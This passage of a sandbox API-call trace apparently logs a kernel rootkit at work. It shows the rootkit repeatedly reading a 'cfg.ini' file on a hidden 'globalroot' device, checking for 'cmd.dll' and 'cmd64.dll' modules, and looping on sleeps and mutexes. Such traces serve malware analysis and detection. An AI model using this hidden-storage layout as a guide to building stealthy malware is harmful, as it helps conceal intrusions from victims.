FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.614] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.614] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039daa00, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.614] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.614] KeLeaveCriticalRegion () [0117.614] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.614] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.614] KeEnterCriticalRegion () [0117.614] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.614] ExFreePoolWithTag (P=0xfffffa80039da4d0, Tag=0x0) [0117.614] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.614] KeLeaveCriticalRegion () [0117.614] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.614] ReleaseMutex (hMutex=0xf0) returned 1 [0117.615] Sleep (dwMilliseconds=0x124f80) [0117.630] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.630] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.630] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.630] KeEnterCriticalRegion () [0117.630] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.630] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.630] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.630] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.630] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.630] IdePortDispatch () returned 0x103 [0117.630] KeWaitForMutexObject () returned 0x0 [0117.630] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.630] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.630] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.630] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.630] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.630] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039dab90 [0117.630] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.630] KeLeaveCriticalRegion () [0117.630] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.630] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.630] KeEnterCriticalRegion () [0117.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.631] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.631] KeLeaveCriticalRegion () [0117.631] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.631] KeEnterCriticalRegion () [0117.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.631] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.631] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.631] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.631] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.631] IdePortDispatch () returned 0x103 [0117.631] KeWaitForMutexObject () returned 0x0 [0117.631] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.631] KeLeaveCriticalRegion () [0117.631] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.631] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.631] KeEnterCriticalRegion () [0117.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.631] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce1000 [0117.631] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.631] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.631] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.631] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.631] IdePortDispatch () returned 0x103 [0117.631] KeWaitForMutexObject () returned 0x0 [0117.632] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.632] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.632] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.632] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.632] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.632] IdePortDispatch () returned 0x103 [0117.632] KeWaitForMutexObject () returned 0x0 [0117.632] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.632] KeLeaveCriticalRegion () [0117.632] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.632] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.632] KeEnterCriticalRegion () [0117.632] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.632] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.632] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.632] KeLeaveCriticalRegion () [0117.632] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.633] KeEnterCriticalRegion () [0117.633] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.633] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.633] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.633] KeLeaveCriticalRegion () [0117.633] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.633] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.633] KeEnterCriticalRegion () [0117.633] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.633] ExFreePoolWithTag (P=0xfffffa80039dab90, Tag=0x0) [0117.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.633] KeLeaveCriticalRegion () [0117.633] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.633] ReleaseMutex (hMutex=0xf0) returned 1 [0117.633] Sleep (dwMilliseconds=0x124f80) [0117.654] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.654] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.654] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.654] KeEnterCriticalRegion () [0117.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.654] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.654] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.654] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.654] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.654] IdePortDispatch () returned 0x103 [0117.654] KeWaitForMutexObject () returned 0x0 [0117.654] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.654] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.654] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.654] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.654] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.654] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039da530 [0117.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.654] KeLeaveCriticalRegion () [0117.654] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.654] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.655] KeEnterCriticalRegion () [0117.655] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.655] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.655] KeLeaveCriticalRegion () [0117.655] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.655] KeEnterCriticalRegion () [0117.655] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.655] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.655] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.655] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.655] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.655] IdePortDispatch () returned 0x103 [0117.655] KeWaitForMutexObject () returned 0x0 [0117.655] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.655] KeLeaveCriticalRegion () [0117.655] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.655] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.655] KeEnterCriticalRegion () [0117.655] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.655] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce6000 [0117.655] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.655] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.655] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.655] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.655] IdePortDispatch () returned 0x103 [0117.656] KeWaitForMutexObject () returned 0x0 [0117.656] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.656] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.656] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.656] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.656] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.656] IdePortDispatch () returned 0x103 [0117.656] KeWaitForMutexObject () returned 0x0 [0117.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.656] KeLeaveCriticalRegion () [0117.656] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.657] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.657] KeEnterCriticalRegion () [0117.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.657] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.657] KeLeaveCriticalRegion () [0117.657] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.657] KeEnterCriticalRegion () [0117.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.657] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.657] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa6e60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.657] KeLeaveCriticalRegion () [0117.657] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.657] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.657] KeEnterCriticalRegion () [0117.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.657] ExFreePoolWithTag (P=0xfffffa80039da530, Tag=0x0) [0117.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.657] KeLeaveCriticalRegion () [0117.657] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.657] ReleaseMutex (hMutex=0xf0) returned 1 [0117.657] Sleep (dwMilliseconds=0x124f80) [0117.675] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.675] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.675] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.675] KeEnterCriticalRegion () [0117.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.675] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.675] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.676] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.676] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.676] IdePortDispatch () returned 0x103 [0117.676] KeWaitForMutexObject () returned 0x0 [0117.676] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.676] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.676] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.676] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.676] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.676] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6da0 [0117.676] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.676] KeLeaveCriticalRegion () [0117.676] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.676] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.676] KeEnterCriticalRegion () [0117.676] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.676] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.676] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.676] KeLeaveCriticalRegion () [0117.676] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.676] KeEnterCriticalRegion () [0117.676] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.676] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.676] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.676] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.676] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.676] IdePortDispatch () returned 0x103 [0117.677] KeWaitForMutexObject () returned 0x0 [0117.677] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.677] KeLeaveCriticalRegion () [0117.677] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.677] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.677] KeEnterCriticalRegion () [0117.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.677] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ceb000 [0117.677] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.677] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.677] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.677] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.677] IdePortDispatch () returned 0x103 [0117.677] KeWaitForMutexObject () returned 0x0 [0117.677] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.677] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.677] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0117.677] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0117.677] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.678] IdePortDispatch () returned 0x103 [0117.678] KeWaitForMutexObject () returned 0x0 [0117.678] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.678] KeLeaveCriticalRegion () [0117.678] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.679] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.679] KeEnterCriticalRegion () [0117.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.679] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.679] KeLeaveCriticalRegion () [0117.679] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.679] KeEnterCriticalRegion () [0117.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.679] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.679] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003aa6e60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.679] KeLeaveCriticalRegion () [0117.679] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.679] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.679] KeEnterCriticalRegion () [0117.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.679] ExFreePoolWithTag (P=0xfffffa8003aa6da0, Tag=0x0) [0117.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.679] KeLeaveCriticalRegion () [0117.679] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.679] ReleaseMutex (hMutex=0xf0) returned 1 [0117.679] Sleep (dwMilliseconds=0x124f80) [0117.697] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.697] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.697] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.697] KeEnterCriticalRegion () [0117.697] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.697] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.697] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.698] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.698] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.698] IdePortDispatch () returned 0x103 [0117.698] KeWaitForMutexObject () returned 0x0 [0117.698] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.698] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.698] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.698] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.698] 